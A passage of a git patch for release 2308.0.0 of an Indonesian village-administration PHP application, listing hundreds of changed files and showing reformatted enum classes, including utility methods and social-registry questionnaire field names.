From e3ea123d8dc8075d5a4a506b8f3334767b6eea54 Mon Sep 17 00:00:00 2001 From: Andi Fahruddin Akas Date: Tue, 1 Aug 2023 16:16:47 +0800 Subject: [PATCH] Rilis 2308.0.0 --- app/Enums/BaseEnum.php | 606 +- app/Enums/Dtks/DtksEnum.php | 481 +- app/Enums/Dtks/Regsosek2022kEnum.php | 1162 +- app/Enums/HubunganRTMEnum.php | 498 +- app/Enums/JawabanKepuasanEnum.php | 534 +- app/Enums/JenisKelaminEnum.php | 506 +- app/Enums/ReferensiEnum.php | 510 +- app/Enums/SHDKEnum.php | 460 +- app/Enums/SasaranEnum.php | 470 +- app/Enums/SatuanWaktuEnum.php | 502 +- app/Enums/SistemEnum.php | 460 +- app/Enums/StatusDasarEnum.php | 506 +- app/Enums/StatusEnum.php | 458 +- app/Enums/StatusHubunganEnum.php | 540 +- app/Enums/StatusPendudukEnum.php | 522 +- app/Enums/StatusSuratKecamatanEnum.php | 572 +- app/Libraries/DateConv.php | 597 +- app/Libraries/FlxZipArchive.php | 573 +- app/Libraries/Parsedown.php | 1686 +- app/Libraries/Release.php | 752 +- app/Libraries/TinyMCE.php | 1672 +- app/Libraries/TinyMCE/KodeIsianPeristiwa.php | 232 + app/Models/Agama.php | 419 +- app/Models/AlasanKeluar.php | 493 +- app/Models/Anak.php | 517 +- app/Models/AnggotaGrup.php | 538 +- app/Models/Anjungan.php | 514 +- app/Models/AnjunganMenu.php | 527 +- app/Models/Area.php | 472 +- app/Models/Artikel.php | 598 +- app/Models/Bantuan.php | 493 +- app/Models/BantuanPeserta.php | 526 +- app/Models/BaseModel.php | 479 +- app/Models/BukuKeperluan.php | 502 +- app/Models/BukuKepuasan.php | 524 +- app/Models/BukuPertanyaan.php | 500 +- app/Models/BukuTamu.php | 525 +- app/Models/Cacat.php | 417 +- app/Models/Config.php | 584 +- app/Models/CovidPemudik.php | 489 +- app/Models/CovidVaksin.php | 483 +- app/Models/DaftarKontak.php | 500 +- app/Models/DisposisiSuratmasuk.php | 560 +- app/Models/Dokumen.php | 605 +- app/Models/Dtks.php | 599 +- app/Models/DtksAnggota.php | 511 +- app/Models/DtksLampiran.php | 513 +- app/Models/DtksPengaturanProgram.php | 579 +- app/Models/FormatSurat.php | 906 +- app/Models/Galery.php | 464 +- app/Models/Garis.php | 480 +- app/Models/GolonganDarah.php | 481 +- app/Models/GrupAkses.php | 455 +- app/Models/GrupKontak.php | 490 +- app/Models/HariLibur.php | 472 +- app/Models/HubungWarga.php | 535 +- app/Models/IbuHamil.php | 506 +- app/Models/InventarisAsset.php | 510 +- app/Models/JamKerja.php | 501 +- app/Models/KB.php | 407 +- app/Models/KIA.php | 456 +- app/Models/Kategori.php | 471 +- app/Models/Kehadiran.php | 518 +- app/Models/KehadiranPengaduan.php | 566 +- app/Models/Kelompok.php | 499 +- app/Models/KelompokAnggota.php | 526 +- app/Models/Keluarga.php | 530 +- app/Models/KeuanganManualRinci.php | 564 +- app/Models/KeuanganManualTemplate.php | 555 +- app/Models/KlasifikasiSurat.php | 552 +- app/Models/Komentar.php | 525 +- app/Models/LogBackup.php | 487 +- app/Models/LogKeluarga.php | 515 +- app/Models/LogPenduduk.php | 555 +- app/Models/LogPerubahanPenduduk.php | 573 +- app/Models/LogRestoreDesa.php | 504 +- app/Models/LogSinkronisasi.php | 518 +- app/Models/LogSurat.php | 553 +- app/Models/LogTolak.php | 454 +- app/Models/LogTte.php | 438 +- app/Models/LoginAttempts.php | 508 +- app/Models/Lokasi.php | 488 +- app/Models/MediaSosial.php | 492 +- app/Models/Migrasi.php | 458 +- app/Models/Modul.php | 459 +- app/Models/Pamong.php | 666 +- app/Models/Paud.php | 454 +- app/Models/Pekerjaan.php | 451 +- app/Models/Pembangunan.php | 524 +- app/Models/PembangunanDokumentasi.php | 564 +- app/Models/Pendidikan.php | 459 +- app/Models/PendidikanKK.php | 473 +- app/Models/Penduduk.php | 908 +- app/Models/PendudukAsuransi.php | 507 +- app/Models/PendudukHubungan.php | 505 +- app/Models/PendudukMandiri.php | 593 +- app/Models/PendudukStatus.php | 489 +- app/Models/Pengaduan.php | 467 +- app/Models/PermohonanSurat.php | 607 +- app/Models/Persil.php | 438 +- app/Models/Pesan.php | 429 +- app/Models/PesanDetail.php | 477 +- app/Models/Posyandu.php | 493 +- app/Models/RefDokumen.php | 468 +- app/Models/RefJabatan.php | 519 +- app/Models/RentangUmur.php | 490 +- app/Models/Rtm.php | 453 +- app/Models/RtmHubungan.php | 481 +- app/Models/SakitMenahun.php | 473 +- app/Models/SasaranPaud.php | 517 +- app/Models/SettingAplikasi.php | 597 +- app/Models/Sex.php | 403 +- app/Models/StatusDasar.php | 467 +- app/Models/StatusKawin.php | 465 +- app/Models/Suplemen.php | 466 +- app/Models/SyaratSurat.php | 517 +- app/Models/TeksBerjalan.php | 531 +- app/Models/Urls.php | 429 +- app/Models/User.php | 506 +- app/Models/UserGrup.php | 468 +- app/Models/WargaNegara.php | 465 +- app/Models/Wilayah.php | 499 +- app/Observers/AuthorObserver.php | 521 +- app/Observers/ConfigIdObserver.php | 531 +- app/Scopes/ConfigIdScope.php | 513 +- app/Services/DTKSRegsosEk2022k.php | 2781 +- app/Traits/Author.php | 427 +- app/Traits/ConfigId.php | 449 +- assets/css/lampiran-surat.css | 18 + assets/filemanager/ajax_calls.php | 31 +- assets/import/format_bip_ektp.xls | Bin 47104 -> 47104 bytes assets/js/validasi.js | 5 + catatan_rilis.md | 49 +- donjo-app/controllers/Admin_pembangunan.php | 847 +- donjo-app/controllers/Analisis_indikator.php | 837 +- donjo-app/controllers/Analisis_kategori.php | 708 +- .../controllers/Analisis_klasifikasi.php | 734 +- donjo-app/controllers/Analisis_laporan.php | 856 +- donjo-app/controllers/Analisis_master.php | 1027 +- donjo-app/controllers/Analisis_periode.php | 726 +- donjo-app/controllers/Analisis_respon.php | 958 +- .../Analisis_statistik_jawaban.php | 1026 +- donjo-app/controllers/Anjungan.php | 694 +- donjo-app/controllers/Anjungan_menu.php | 784 +- donjo-app/controllers/Anjungan_pengaturan.php | 662 +- .../controllers/Api_informasi_publik.php | 659 +- .../controllers/Api_inventaris_asset.php | 764 +- .../controllers/Api_inventaris_gedung.php | 769 +- .../controllers/Api_inventaris_jalan.php | 760 +- .../controllers/Api_inventaris_kontruksi.php | 731 +- .../controllers/Api_inventaris_peralatan.php | 790 +- .../controllers/Api_inventaris_tanah.php | 756 +- donjo-app/controllers/Area.php | 713 +- donjo-app/controllers/Buku_keperluan.php | 672 +- donjo-app/controllers/Buku_kepuasan.php | 603 +- donjo-app/controllers/Buku_pertanyaan.php | 680 +- donjo-app/controllers/Buku_tamu.php | 664 +- donjo-app/controllers/Bumindes_arsip.php | 764 +- .../Bumindes_hasil_pembangunan.php | 686 +- .../Bumindes_inventaris_kekayaan.php | 719 +- donjo-app/controllers/Bumindes_kader.php | 689 +- .../Bumindes_kegiatan_pembangunan.php | 714 +- .../controllers/Bumindes_penduduk_induk.php | 761 +- .../controllers/Bumindes_penduduk_ktpkk.php | 760 +- .../controllers/Bumindes_penduduk_mutasi.php | 766 +- .../Bumindes_penduduk_rekapitulasi.php | 829 +- .../Bumindes_penduduk_sementara.php | 792 +- .../Bumindes_rencana_pembangunan.php | 782 +- donjo-app/controllers/Bumindes_tanah_desa.php | 737 +- .../controllers/Bumindes_tanah_kas_desa.php | 786 +- donjo-app/controllers/Cdesa.php | 822 +- donjo-app/controllers/Covid19.php | 824 +- donjo-app/controllers/Daftar_kontak.php | 722 +- donjo-app/controllers/Data_persil.php | 794 +- donjo-app/controllers/Database.php | 880 +- donjo-app/controllers/Dokumen.php | 740 +- donjo-app/controllers/Dokumen_web.php | 582 +- donjo-app/controllers/Dpt.php | 635 +- donjo-app/controllers/Dtks.php | 980 +- donjo-app/controllers/Feed.php | 507 +- donjo-app/controllers/First.php | 996 +- donjo-app/controllers/Gallery.php | 784 +- donjo-app/controllers/Garis.php | 718 +- donjo-app/controllers/Gawai_layanan.php | 722 +- donjo-app/controllers/Gis.php | 773 +- donjo-app/controllers/Grup.php | 640 +- donjo-app/controllers/Grup_kontak.php | 813 +- donjo-app/controllers/Hom_sid.php | 619 +- donjo-app/controllers/Identitas_desa.php | 888 +- donjo-app/controllers/Info_sistem.php | 661 +- donjo-app/controllers/Informasi_publik.php | 653 +- donjo-app/controllers/Inventaris_asset.php | 692 +- donjo-app/controllers/Inventaris_gedung.php | 700 +- donjo-app/controllers/Inventaris_jalan.php | 692 +- .../controllers/Inventaris_kontruksi.php | 683 +- .../controllers/Inventaris_peralatan.php | 724 +- donjo-app/controllers/Inventaris_tanah.php | 692 +- donjo-app/controllers/Job.php | 614 +- donjo-app/controllers/Kategori.php | 727 +- .../controllers/Kehadiran_hari_libur.php | 779 +- donjo-app/controllers/Kehadiran_jam_kerja.php | 686 +- donjo-app/controllers/Kehadiran_keluar.php | 699 +- donjo-app/controllers/Kehadiran_pengaduan.php | 677 +- .../controllers/Kehadiran_rekapitulasi.php | 734 +- donjo-app/controllers/Kelompok.php | 874 +- donjo-app/controllers/Kelompok_master.php | 685 +- donjo-app/controllers/Keluar.php | 1161 +- donjo-app/controllers/Keluarga.php | 1207 +- donjo-app/controllers/Keuangan.php | 695 +- donjo-app/controllers/Keuangan_manual.php | 777 +- donjo-app/controllers/Klasifikasi.php | 701 +- donjo-app/controllers/Komentar.php | 650 +- donjo-app/controllers/Koneksi_database.php | 671 +- donjo-app/controllers/Kontak.php | 623 +- donjo-app/controllers/Lapak_admin.php | 910 +- donjo-app/controllers/Laporan.php | 721 +- donjo-app/controllers/Laporan_apbdes.php | 698 +- donjo-app/controllers/Laporan_inventaris.php | 734 +- donjo-app/controllers/Laporan_penduduk.php | 597 +- donjo-app/controllers/Laporan_rentan.php | 622 +- donjo-app/controllers/Lembaga.php | 526 +- donjo-app/controllers/Lembaga_master.php | 582 +- donjo-app/controllers/Line.php | 698 +- donjo-app/controllers/Mailbox.php | 679 +- donjo-app/controllers/Main.php | 539 +- donjo-app/controllers/Man_user.php | 719 +- donjo-app/controllers/Mandiri.php | 755 +- donjo-app/controllers/Menu.php | 645 +- donjo-app/controllers/Modul.php | 601 +- donjo-app/controllers/Notif.php | 503 +- donjo-app/controllers/Notif_web.php | 552 +- donjo-app/controllers/Opendk_pesan.php | 767 +- donjo-app/controllers/Optimasi_gambar.php | 646 +- donjo-app/controllers/Pelanggan.php | 533 +- .../controllers/Pendaftaran_kerjasama.php | 629 +- donjo-app/controllers/Pendapat.php | 552 +- donjo-app/controllers/Penduduk.php | 1605 +- donjo-app/controllers/Penduduk_log.php | 775 +- donjo-app/controllers/Pengaduan_admin.php | 684 +- donjo-app/controllers/Pengguna.php | 803 +- donjo-app/controllers/Pengunjung.php | 589 +- donjo-app/controllers/Periksa.php | 613 +- .../controllers/Permohonan_surat_admin.php | 822 +- donjo-app/controllers/Peserta_bantuan.php | 754 +- donjo-app/controllers/Plan.php | 694 +- donjo-app/controllers/Point.php | 729 +- donjo-app/controllers/Polygon.php | 705 +- donjo-app/controllers/Program_bantuan.php | 1238 +- donjo-app/controllers/Rtm.php | 926 +- donjo-app/controllers/Setting.php | 674 +- donjo-app/controllers/Sinkronisasi.php | 1292 +- donjo-app/controllers/Siteman.php | 700 +- donjo-app/controllers/Sitemap.php | 529 +- donjo-app/controllers/Sms.php | 823 +- donjo-app/controllers/Sosmed.php | 548 +- donjo-app/controllers/Statistik.php | 928 +- donjo-app/controllers/Statistik_web.php | 745 +- donjo-app/controllers/Status_desa.php | 676 +- donjo-app/controllers/Stunting.php | 1798 +- donjo-app/controllers/Suplemen.php | 845 +- donjo-app/controllers/Surat.php | 1539 +- donjo-app/controllers/Surat_master.php | 1496 +- donjo-app/controllers/Surat_mohon.php | 658 +- donjo-app/controllers/Teks_berjalan.php | 674 +- donjo-app/controllers/Token.php | 74 + donjo-app/controllers/User_setting.php | 737 +- donjo-app/controllers/Vaksin_covid.php | 829 +- donjo-app/controllers/Web.php | 765 +- donjo-app/controllers/Web_widget.php | 720 +- donjo-app/controllers/Wilayah.php | 1132 +- donjo-app/controllers/api/Sign.php | 536 +- donjo-app/controllers/api/Surat.php | 645 +- donjo-app/controllers/api/Tte.php | 718 +- .../controllers/buku_umum/Bumindes_umum.php | 776 +- .../buku_umum/Dokumen_sekretariat.php | 904 +- donjo-app/controllers/buku_umum/Ekspedisi.php | 734 +- .../controllers/buku_umum/Lembaran_desa.php | 796 +- donjo-app/controllers/buku_umum/Pengurus.php | 979 +- .../controllers/buku_umum/Surat_keluar.php | 843 +- .../controllers/buku_umum/Surat_masuk.php | 863 +- donjo-app/controllers/fmandiri/Anjungan.php | 636 +- donjo-app/controllers/fmandiri/Bantuan.php | 612 +- donjo-app/controllers/fmandiri/Beranda.php | 678 +- donjo-app/controllers/fmandiri/Daftar.php | 637 +- .../fmandiri/Daftar_verifikasi.php | 958 +- donjo-app/controllers/fmandiri/Dokumen.php | 665 +- .../fmandiri/Kehadiran_perangkat.php | 723 +- donjo-app/controllers/fmandiri/Lapak.php | 605 +- donjo-app/controllers/fmandiri/Masuk.php | 640 +- donjo-app/controllers/fmandiri/Masuk_ektp.php | 656 +- donjo-app/controllers/fmandiri/Pesan.php | 651 +- donjo-app/controllers/fmandiri/Surat.php | 864 +- donjo-app/controllers/fmandiri/Verifikasi.php | 875 +- donjo-app/controllers/fweb/Buku_tamu.php | 724 +- donjo-app/controllers/fweb/Galeri.php | 590 +- donjo-app/controllers/fweb/Idm.php | 545 +- donjo-app/controllers/fweb/Kelompok.php | 598 +- donjo-app/controllers/fweb/Lapak.php | 586 +- donjo-app/controllers/fweb/Lembaga.php | 590 +- donjo-app/controllers/fweb/Pembangunan.php | 629 +- donjo-app/controllers/fweb/Pemerintah.php | 599 +- donjo-app/controllers/fweb/Pengaduan.php | 670 +- donjo-app/controllers/fweb/Peraturan.php | 627 +- donjo-app/controllers/fweb/Peta.php | 562 +- donjo-app/controllers/fweb/Sdgs.php | 548 +- donjo-app/controllers/fweb/Suplemen.php | 591 +- donjo-app/controllers/fweb/Vaksin.php | 570 +- .../controllers/fweb/Verifikasi_surat.php | 665 +- donjo-app/controllers/kehadiran/Perangkat.php | 835 +- donjo-app/core/MY_Controller.php | 1110 +- donjo-app/core/MY_Exceptions.php | 586 +- donjo-app/core/MY_Loader.php | 638 +- donjo-app/core/MY_Log.php | 459 +- donjo-app/core/MY_Model.php | 992 +- donjo-app/core/MY_Security.php | 510 +- donjo-app/helpers/cek_helper.php | 533 +- donjo-app/helpers/database_helper.php | 656 +- donjo-app/helpers/donjolib_helper.php | 1341 +- donjo-app/helpers/general_helper.php | 118 + donjo-app/helpers/opensid_helper.php | 2271 +- donjo-app/helpers/password_helper.php | 870 +- donjo-app/helpers/pict_helper.php | 1317 +- donjo-app/helpers/surat_helper.php | 798 +- donjo-app/helpers/tglindo_helper.php | 1019 +- donjo-app/helpers/web_helper.php | 567 +- donjo-app/models/Acak_model.php | 653 +- donjo-app/models/Agenda_model.php | 526 +- donjo-app/models/Analisis_import_model.php | 1291 +- donjo-app/models/Analisis_indikator_model.php | 1380 +- donjo-app/models/Analisis_kategori_model.php | 722 +- .../models/Analisis_klasifikasi_model.php | 773 +- donjo-app/models/Analisis_laporan_model.php | 1252 +- donjo-app/models/Analisis_master_model.php | 862 +- donjo-app/models/Analisis_parameter_model.php | 630 +- donjo-app/models/Analisis_periode_model.php | 807 +- donjo-app/models/Analisis_respon_model.php | 1968 +- .../Analisis_statistik_jawaban_model.php | 1018 +- donjo-app/models/Anjungan_model.php | 555 +- donjo-app/models/Arsip_fisik_model.php | 847 +- donjo-app/models/Aset_model.php | 508 +- donjo-app/models/Bdt_model.php | 832 +- donjo-app/models/Bip2012_model.php | 739 +- donjo-app/models/Bip2016_luwutimur_model.php | 821 +- donjo-app/models/Bip2016_model.php | 750 +- donjo-app/models/Bip_ektp_model.php | 810 +- donjo-app/models/Bip_model.php | 547 +- donjo-app/models/Cdesa_model.php | 1058 +- donjo-app/models/Covid19_model.php | 885 +- donjo-app/models/Data_persil_model.php | 883 +- donjo-app/models/Database_model.php | 4100 +- donjo-app/models/Dpt_model.php | 764 +- donjo-app/models/Ekspedisi_model.php | 690 +- donjo-app/models/Ekspor_model.php | 1153 +- donjo-app/models/Feed_model.php | 518 +- donjo-app/models/First_artikel_m.php | 1058 +- donjo-app/models/First_gallery_m.php | 637 +- donjo-app/models/First_menu_m.php | 575 +- donjo-app/models/First_penduduk_m.php | 686 +- donjo-app/models/Grup_model.php | 857 +- donjo-app/models/Header_model.php | 527 +- donjo-app/models/Impor_model.php | 1328 +- donjo-app/models/Inventaris_asset_model.php | 600 +- donjo-app/models/Inventaris_gedung_model.php | 631 +- donjo-app/models/Inventaris_jalan_model.php | 623 +- .../models/Inventaris_kontruksi_model.php | 665 +- donjo-app/models/Inventaris_laporan_model.php | 1043 +- .../models/Inventaris_peralatan_model.php | 632 +- donjo-app/models/Inventaris_tanah_model.php | 781 +- donjo-app/models/Kader_model.php | 694 +- donjo-app/models/Kelompok_master_model.php | 719 +- donjo-app/models/Kelompok_model.php | 1146 +- donjo-app/models/Keluar_model.php | 1078 +- donjo-app/models/Keluarga_model.php | 1885 +- .../models/Keuangan_grafik_manual_model.php | 1239 +- donjo-app/models/Keuangan_grafik_model.php | 2059 +- donjo-app/models/Keuangan_manual_model.php | 768 +- donjo-app/models/Keuangan_model.php | 830 +- donjo-app/models/Klasifikasi_model.php | 758 +- donjo-app/models/Lapak_model.php | 954 +- donjo-app/models/Lapor_model.php | 527 +- donjo-app/models/Laporan_bulanan_model.php | 1246 +- donjo-app/models/Laporan_penduduk_model.php | 1252 +- .../models/Laporan_sinkronisasi_model.php | 821 +- donjo-app/models/Log_ekspor_model.php | 567 +- donjo-app/models/Mailbox_model.php | 615 +- donjo-app/models/Mandiri_model.php | 1336 +- donjo-app/models/Modul_model.php | 804 +- donjo-app/models/Notif_model.php | 636 +- donjo-app/models/Pamong_model.php | 1107 +- .../models/Pembangunan_dokumentasi_model.php | 821 +- donjo-app/models/Pembangunan_model.php | 869 +- donjo-app/models/Pendapat_model.php | 661 +- donjo-app/models/Penduduk_log_model.php | 1110 +- donjo-app/models/Penduduk_model.php | 2335 +- donjo-app/models/Pengaduan_model.php | 786 +- donjo-app/models/Penomoran_surat_model.php | 792 +- donjo-app/models/Periksa_model.php | 1814 +- donjo-app/models/Permohonan_surat_model.php | 856 +- donjo-app/models/Plan_area_model.php | 800 +- donjo-app/models/Plan_garis_model.php | 818 +- donjo-app/models/Plan_line_model.php | 821 +- donjo-app/models/Plan_lokasi_model.php | 813 +- donjo-app/models/Plan_point_model.php | 827 +- donjo-app/models/Plan_polygon_model.php | 854 +- donjo-app/models/Program_bantuan_model.php | 1922 +- donjo-app/models/Referensi_model.php | 790 +- donjo-app/models/Rtm_model.php | 1153 +- donjo-app/models/Setting_model.php | 892 +- donjo-app/models/Shortcode_model.php | 831 +- donjo-app/models/Siak_model.php | 722 +- donjo-app/models/Sinkronisasi_model.php | 648 +- donjo-app/models/Sms_model.php | 773 +- donjo-app/models/Stat_shortener_model.php | 604 +- donjo-app/models/Statistik_penduduk_model.php | 991 +- .../models/Statistik_pengunjung_model.php | 941 +- donjo-app/models/Suplemen_model.php | 1460 +- donjo-app/models/Surat_keluar_model.php | 980 +- donjo-app/models/Surat_master_model.php | 796 +- donjo-app/models/Surat_masuk_model.php | 1025 +- donjo-app/models/Surat_model.php | 1766 +- donjo-app/models/Tanah_desa_model.php | 827 +- donjo-app/models/Tanah_kas_desa_model.php | 856 +- donjo-app/models/Teks_berjalan_model.php | 708 +- donjo-app/models/Theme_model.php | 565 +- donjo-app/models/Track_model.php | 672 +- donjo-app/models/Url_shortener_model.php | 637 +- donjo-app/models/Urut_model.php | 616 +- donjo-app/models/User_model.php | 1357 +- donjo-app/models/Vaksin_covid_model.php | 1118 +- donjo-app/models/Web_artikel_model.php | 1184 +- donjo-app/models/Web_dokumen_model.php | 1315 +- donjo-app/models/Web_gallery_model.php | 1023 +- donjo-app/models/Web_kategori_model.php | 890 +- donjo-app/models/Web_komentar_model.php | 806 +- donjo-app/models/Web_menu_model.php | 725 +- donjo-app/models/Web_sosmed_model.php | 694 +- donjo-app/models/Web_widget_model.php | 1017 +- donjo-app/models/Wilayah_model.php | 1380 +- .../migrations/Migrasi_2308_ke_2309.php | 625 + .../migrations/Migrasi_fitur_premium_2210.php | 2 +- .../migrations/Migrasi_fitur_premium_2307.php | 2 +- .../migrations/Migrasi_fitur_premium_2308.php | 2 +- .../migrations/Migrasi_fitur_premium_2309.php | 673 + .../migrations/Migrasi_fitur_premium_xxxx.php | 2 +- donjo-app/models/seeders/Data_awal_seeder.php | 66093 +++++++++++++++- donjo-app/models/seeders/Seeder.php | 639 +- donjo-app/views/database/migrasi_cri.php | 115 +- donjo-app/views/gis/maps.php | 15 +- .../kategori_sumber_data.blade.php | 2 +- .../admin/pengaturan_surat/tinymce.blade.php | 80 +- .../views/admin/surat/form_desa.blade.php | 91 +- .../admin/surat/kategori_isian.blade.php | 59 +- .../admin/surat/konfirmasi_pemohon.blade.php | 4 +- .../views/admin/surat/pengikut_kis.blade.php | 99 + .../admin/surat/pengikut_pindah.blade.php | 42 + .../views/admin/surat/peristiwa.blade.php | 155 + resources/views/token/index.blade.php | 62 + template-surat/lampiran/f-1.03/data.php | 13 + template-surat/lampiran/f-1.03/view.php | 618 + template-surat/lampiran/f-1.08/data.php | 11 + template-surat/lampiran/f-1.08/view.php | 683 + template-surat/lampiran/f-1.25/data.php | 36 + template-surat/lampiran/f-1.25/view.php | 513 + template-surat/lampiran/f-1.27/data.php | 34 + template-surat/lampiran/f-1.27/view.php | 596 + template-surat/lampiran/f-2.01/data.php | 12 + template-surat/lampiran/f-2.01/view.php | 8 +- template-surat/lampiran/f-2.12/data.php | 280 + template-surat/lampiran/f-2.12/view.php | 2376 + template-surat/lampiran/kode.php | 87 + template-surat/lampiran/n-1/data.php | 154 + template-surat/lampiran/n-1/view.php | 10 + template-surat/lampiran/n-1/view_pria.php | 322 + template-surat/lampiran/n-1/view_wanita.php | 321 + template-surat/lampiran/n-2/data.php | 104 + template-surat/lampiran/n-2/view.php | 157 + template-surat/lampiran/n-4/data.php | 92 + template-surat/lampiran/n-4/view.php | 204 + template-surat/lampiran/n-5/data.php | 87 + template-surat/lampiran/n-5/view.php | 317 + template-surat/lampiran/n-6/data.php | 87 + template-surat/lampiran/n-6/view.php | 17 + .../lampiran/n-6/view_calon_pasangan.php | 242 + template-surat/lampiran/n-6/view_individu.php | 242 + template-surat/lampiran/sps/view.php | 10 + template-surat/lampiran/sps/view_calon.php | 108 + template-surat/lampiran/sps/view_pasangan.php | 107 + template-surat/lampiran/swn/data.php | 70 + template-surat/lampiran/swn/view.php | 176 + 489 files changed, 190408 insertions(+), 210051 deletions(-) create mode 100644 app/Libraries/TinyMCE/KodeIsianPeristiwa.php create mode 100644 donjo-app/controllers/Token.php create mode 100644 donjo-app/models/migrations/Migrasi_2308_ke_2309.php create mode 100644 donjo-app/models/migrations/Migrasi_fitur_premium_2309.php create mode 100644 resources/views/admin/surat/pengikut_kis.blade.php create mode 100644 resources/views/admin/surat/pengikut_pindah.blade.php create mode 100644 resources/views/admin/surat/peristiwa.blade.php create mode 100644 resources/views/token/index.blade.php create mode 100644 template-surat/lampiran/f-1.03/data.php create mode 100644 template-surat/lampiran/f-1.03/view.php create mode 100644 template-surat/lampiran/f-1.08/data.php create mode 100644 template-surat/lampiran/f-1.08/view.php create mode 100644 template-surat/lampiran/f-1.25/data.php create mode 100644 template-surat/lampiran/f-1.25/view.php create mode 100644 template-surat/lampiran/f-1.27/data.php create mode 100644 template-surat/lampiran/f-1.27/view.php create mode 100644 template-surat/lampiran/f-2.12/data.php create mode 100644 template-surat/lampiran/f-2.12/view.php create mode 100644 template-surat/lampiran/kode.php create mode 100644 template-surat/lampiran/n-1/data.php create mode 100644 template-surat/lampiran/n-1/view.php create mode 100644 template-surat/lampiran/n-1/view_pria.php create mode 100644 template-surat/lampiran/n-1/view_wanita.php create mode 100644 template-surat/lampiran/n-2/data.php create mode 100644 template-surat/lampiran/n-2/view.php create mode 100644 template-surat/lampiran/n-4/data.php create mode 100644 template-surat/lampiran/n-4/view.php create mode 100644 template-surat/lampiran/n-5/data.php create mode 100644 template-surat/lampiran/n-5/view.php create mode 100644 template-surat/lampiran/n-6/data.php create mode 100644 template-surat/lampiran/n-6/view.php create mode 100644 template-surat/lampiran/n-6/view_calon_pasangan.php create mode 100644 template-surat/lampiran/n-6/view_individu.php create mode 100644 template-surat/lampiran/sps/view.php create mode 100644 template-surat/lampiran/sps/view_calon.php create mode 100644 template-surat/lampiran/sps/view_pasangan.php create mode 100644 template-surat/lampiran/swn/data.php create mode 100644 template-surat/lampiran/swn/view.php diff --git a/app/Enums/BaseEnum.php b/app/Enums/BaseEnum.php index 0cb23560a..d6a999419 100644 --- a/app/Enums/BaseEnum.php +++ b/app/Enums/BaseEnum.php @@ -1,385 +1,221 @@ -getConstants(); + } catch (Throwable $e) { + return []; + } + } + + /** + * Get all the declared keys + */ + public static function keys(): array + { + return array_keys(static::all()); + } + + /** + * Get all the declared values + */ + public static function values(): array + { + return array_values(static::all()); + } + + /** + * Check if the given key declared in the enum or not + */ + public static function hasKey(string $key): bool + { + return array_key_exists($key, static::all()); + } + + /** + * Check if the given value declared in the enum or not + * + * @param mixed $value + */ + public static function hasValue($value): bool + { + return in_array($value, static::all()); + } + + /** + * Get value of the given key + * + * @param mixed $key + * @param mixed $default + * + * @return mixed|null + */ + public static function valueOf($key, $default = null) + { + return static::all()[$key] ?? $default; + } + + /** + * Get related keys of the given value + * + * @param mixed $value + */ + public static function keysOf($value): array + { + $keys = []; + + foreach (static::all() as $k => $v) { + $v == $value && ($keys[] = $k); + } + + return $keys; + } + + /** + * Get only the first related key of the given value + * + * @param mixed $value + * @param mixed $default + * + * @return mixed|null + */ + public static function keyOf($value, $default = null) + { + return static::keysOf($value)[0] ?? $default; + } + + /** + * Get a random key + * + * @return mixed + */ + public static function randomKey() + { + return array_rand(static::all()); + } + + /** + * Get a random key except given values + * + * @return array|int|string + */ + public static function randomKeyExceptValues(array $values = []) + { + do { + $key = array_rand(static::all()); + } while (in_array(static::all()[$key], $values)); + + return $key; + } + + /** + * Get a random key except given keys + * + * @return array|int|string + */ + public static function randomKeyExceptKeys(array $keys = []) + { + do { + $key = array_rand(static::all()); + } while (in_array($key, $keys)); + + return $key; + } + + /** + * Get a random value + * + * @return mixed + */ + public static function randomValue() + { + return static::all()[array_rand(static::all())]; + } + + /** + * Get a random value except given values + * + * @return mixed + */ + public static function randomValueExceptValues(array $values = []) + { + do { + $value = static::all()[array_rand(static::all())]; + } while (in_array($value, $values)); + + return $value; + } + + /** + * Get a random value except given keys + * + * @return mixed + */ + public static function randomValueExceptKeys(array $keys = []) + { + do { + $key = array_rand(static::all()); + } while (in_array($key, $keys)); + + return static::all()[$key]; + } +} diff --git a/app/Enums/Dtks/DtksEnum.php b/app/Enums/Dtks/DtksEnum.php index 7e7b95a61..e62cc583c 100644 --- a/app/Enums/Dtks/DtksEnum.php +++ b/app/Enums/Dtks/DtksEnum.php @@ -1,425 +1,56 @@ - 'REGSOS-EK2021.RT', + self::REGSOS_EK2022_K => 'REGSOSEK2022.K', + ]; + + final public static function GET_CLEAN_NAME_VERSION($code = self::VERSION_CODE) + { + // remove char (-) and (.) + return strtoupper(str_replace(['-', '.'], '', self::VERSION_LIST[$code])); + } +} diff --git a/app/Enums/Dtks/Regsosek2022kEnum.php b/app/Enums/Dtks/Regsosek2022kEnum.php index b2cbf4cb7..3ed215a0d 100644 --- a/app/Enums/Dtks/Regsosek2022kEnum.php +++ b/app/Enums/Dtks/Regsosek2022kEnum.php @@ -1,497 +1,665 @@ - 'Ya', + '2' => 'Tidak', + ]; + + /** + * return ['dtks' => [...], 'dtks_anggota' => [....]] + */ + final public static function getUsedFields() + { + return [ + 'dtks' => [ + 'id', + 'is_draft', + 'id_rtm', + 'id_keluarga', + 'created_at', + 'updated_at', + 'versi_kuisioner', + + 'kode_provinsi', + 'kode_kabupaten', + 'kode_kecamatan', + 'kode_desa', + 'kode_sls_non_sls', + 'kode_sub_sls', + 'nama_sls_non_sls', + 'no_urut_bangunan_tinggal', + 'no_urut_keluarga_verif', + 'status_keluarga', + 'kode_landmark_wilkerstat', + 'kd_kk', + + 'tanggal_pendataan', // index ke 18, jika urutannya belum berubah + 'nama_ppl', + 'kode_ppl', + 'tanggal_pemeriksaan', + 'nama_pml', + 'kode_pml', + 'nama_responden', + 'kd_hasil_pendataan_keluarga', + 'no_hp_responden', + + 'kd_stat_bangunan_tinggal', + 'kd_sertiv_lahan_milik', + 'luas_lantai', + 'kd_jenis_lantai_terluas', + 'kd_jenis_dinding', + 'kd_jenis_atap', + 'kd_sumber_air_minum', + 'kd_jarak_sumber_air_ke_tpl', + 'kd_sumber_penerangan_utama', + 'kd_daya_terpasang', + 'kd_daya_terpasang2', + 'kd_daya_terpasang3', + 'kd_bahan_bakar_memasak', + 'kd_fasilitas_tempat_bab', + 'kd_jenis_kloset', + 'kd_pembuangan_akhir_tinja', + + 'kd_bss_bnpt', + 'bulan_bss_bnpt', + 'tahun_bss_bnpt', + 'kd_pkh', + 'bulan_pkh', + 'tahun_pkh', + 'kd_blt_dana_desa', + 'bulan_blt_dana_desa', + 'tahun_blt_dana_desa', + 'kd_subsidi_listrik', + 'bulan_subsidi_listrik', + 'tahun_subsidi_listrik', + 'kd_bantuan_pemda', + 'bulan_bantuan_pemda', + 'tahun_bantuan_pemda', + 'kd_subsidi_pupuk', + 'bulan_subsidi_pupuk', + 